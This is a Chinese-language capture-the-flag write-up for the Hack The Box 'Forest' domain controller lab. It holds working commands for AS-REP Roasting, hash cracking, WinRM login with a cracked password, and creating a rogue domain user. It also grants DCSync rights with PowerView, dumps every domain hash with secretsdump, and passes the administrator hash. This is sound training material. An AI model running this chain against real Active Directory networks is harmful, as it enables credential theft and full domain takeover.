靶机ip:10.10.10.161

知识点

  • AD域渗透提取
  • AS-REP Roasting攻击
  • Hash爆破
  • PTH传递攻击
  • 滥用DCSync

信息收集

nmap扫描

拿namp扫一下

nmap -sS -sV -sC 10.10.10.161

image-20240702183019354

发现存在系统Windows Server 2016,有DNS服务,Kerberos服务,smb共享服务,RPC服务,无web页面,只有AD域

先将域名加到配置文件中

1
2
echo "10.10.10.161  htb.local" >> /etc/hosts
echo "10.10.10.161 forest.htb.local" >> /etc/hosts

Domain: htb.local

workgroup: HTB

SMB

尝试匿名登录SMB服务

smbclient -L \\10.10.10.161

image-20240702183114049

也是没有什么重要信息

LDAP

尝试使用ldapsearch工具尝试获取域中的用户列表,根据之前得到的域名htb.local构造如下命令:

ldapsearch -H ldap://10.10.10.161:389 -x -b "CN=users,DC=htb,DC=local"

image-20240702192626662

也没什么重要的信息

RPC

利用RPC远程过程调用枚举用户

1
2
3
┌──(root㉿DESKTOP-K196DPF)-[~/MyFile]
└─# rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers

image-20240702193457026

先将用户名整理出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Administrator
Guest
krbtgt
DefaultAccount
$331000-VK4ADACQNUCA
SM_2c8eef0a09b545acb
SM_ca8c2ed5bdab4dc9b
SM_75a538d3025e4db9a
SM_681f53d4942840e18
SM_1b41c9286325456bb
SM_9b69f1b9d2cc45549
SM_c75ee099d0a64c91b
SM_1ffab36a2f5f479cb
HealthMailboxc3d7722
HealthMailboxfc9daad
HealthMailboxc0a90c9
HealthMailbox670628e
HealthMailbox968e74d
HealthMailbox6ded678
HealthMailbox83d6781
HealthMailboxfd87238
HealthMailboxb01ac64
HealthMailbox7108a4e
HealthMailbox0659cc1
sebastien
lucinda
svc-alfresco
andy
mark
santi

AS-REP Roasting

拿到了用户名,这里又暴露了kerberos端口88。尝试一下AS-REP Roasting攻击。

将上面的用户名保存为user.txt文件,使用GetNPUsers.py尝试向kerberos请求不需要预认证的票据

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py htb.loacl/ -usersfile user.txt -dc-ip 10.10.10.161

image-20240702195558839

拿到了一个svc-alfresco用户的不需要预认证的票据hash

1
$krb5asrep$23$svc-alfresco@HTB.LOCAL:ebdb0e07d33fac124f8f2366a628920c$fbfa4eaefaece3b6ac1f461570a97940f59e4551f620e061054800b9ce7ae9f86f5b711ef4579b3f9ff2706ab69ad3077ad1e4c81d246d7e83a029dff3837b8452ab50cab25aa6b528dce9584fbb87a37cb3589d09baf8a5e0e4f7e500a53c95772701bc45bca89bfacb2602c9192a121f70346f9436869c60b66573c8f0fbf05a36319686fec69cb54a04e311558fcc6790501776b4b1288ee55489e57131aeb4d944ed3769ccf5a26ff4e4cd418657afc6bd827d874faccde4c4dbbd194eba15ef470c69b39099751446310f18d5f800bc8d38c1f8a2b28064fecc963757f6e583d2afdd87

使用john进行破解

将上述票据保存为hash,使用john爆破hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

john hash -show

image-20240702201407967

拿到一个凭证:svc-alfresco : s3rvice

使用evil-winrm远程连接

evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

image-20240702202205425

image-20240704113809977

最后在桌面上拿到user.txt

AD域渗透权限提升

BloodHound信息搜集

windows权限提升有一款工具叫做BloodHound

这里使用的是kali的BloodHound工具

1
2
3
4
5
# 先启动 neo4j
neo4j start # 访问网址默认用户名和密码都是neo4j,登入后修改密码即可
# 再启动 BloodHound
bloodhound
# 输入用户名和修改后的密码即可登录

SharpHound.exe下载链接:https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

SharpHound.exe上传到目标机器并运行,即可得到一个zip文件,该文件里面就是信息搜集的结果,将它下载到本地

1
2
3
upload /root/htb/Machines/forest/SharpHound.exe
./SharpHound.exe
download 20240703005056_BloodHound.zip

image-20240703154557962

image-20240703154608670

登录到Bloodhound,点击右边上传按钮,将解压后的json文件提交上传

我们查找一下我们已有用户svc-alfresco相关信息

image-20240703155410634

信息分析

点击左侧Unrolled Group Membership可以发现与其相关的用户组和用户

image-20240703163420335

重点看下半部分

image-20240703163322390

可以发现svc-alfresco用户属于Account Operators组,该组是AD域中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。 但是,不能更改属于AdministratorsDomain Admins组的账号,也不能更改这些组。

image-20240703170202999

点击Find Shortest Paths to Domain Admins可以看到上图结果

其中,从svc-alfrescoDomain Admins 的路径中发现,EXCHANGE WINDOWS PERMISSIONS组与Account Operators 组有GenericAll关系,表示EXCHANGE WINDOWS PERMISSIONS组完全信任Account Operators 组,而上面还提到svc-alfresco用户属于Account Operators组,且Account Operators组的成员可以创建和管理该域中的用户和组并为其设置权限,因此我们可以利用Account Operators组的权限创建一个新用户,将其添加到EXCHANGE WINDOWS PERMISSIONS组,同时可以看到EXCHANGE WINDOWS PERMISSIONS组的成员对HTB.LOCALWriteDacl权限,可以用新添加的用户对HTB.LOCALWriteDacl权限进行恶意利用,从而实现提权

创建一个恶意用户

回到Evil-WinRM,先利用ACCOUNT OPERATION的权限去创建一个新的用户

1
2
net user popayw 123abc! /add /domain	# 创建用户
net group "Exchange Windows Permissions" popayw /add # 将用户添加到Exchange Windows Permissions组

image-20240705131611080

用户创建完毕,再利用WriteDacl权限去给我们用户所在组加权限,这里使用PowerSploit中的powerview.ps1来滥用WriteDacl权限,通过uploadpowerview.ps1文件传进去

运行命令导入脚本

1
. .\PowerView.ps1

这时候就会发现运行menu模块增加

  • 运行之前

image-20240704140302757

  • 运行之后

image-20240704140320314

再定义两个变量,用于创建凭证对象并授予 DCSync 权限,其中Add-DomainObjectAcl模块可以添加DCSync权限

1
2
3
$pass = convertto-securestring '123abc!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\popayw', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity popayw -Rights DCSync

image-20240704142412881

DCSync攻击导出域内哈希

  • DCSync攻击原理

主要利用的是域控制器之间的数据同步复制

当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。
如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。

用户想要发起DCSync攻击,必须获得以下任一用户的权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

之前我们已经创建了一个有DCSync权限的用户,我们可以使用secretsdump.py工具执行 DCSync 以转储管理员用户的 NTLM 哈希

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py popayw:'123abc!'@10.10.10.161

image-20240704150539216

可以看到已经拿到所有用户的hash,包括admin用户的

PTH传递攻击获取Root

拿到了管理员的hash,就可以通过wmiexec哈希传递拿到管理员用户的权限

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161

image-20240704151145045

成功拿到管理员用户的权限

image-20240704151417342

最后也是在desktop获取root.txt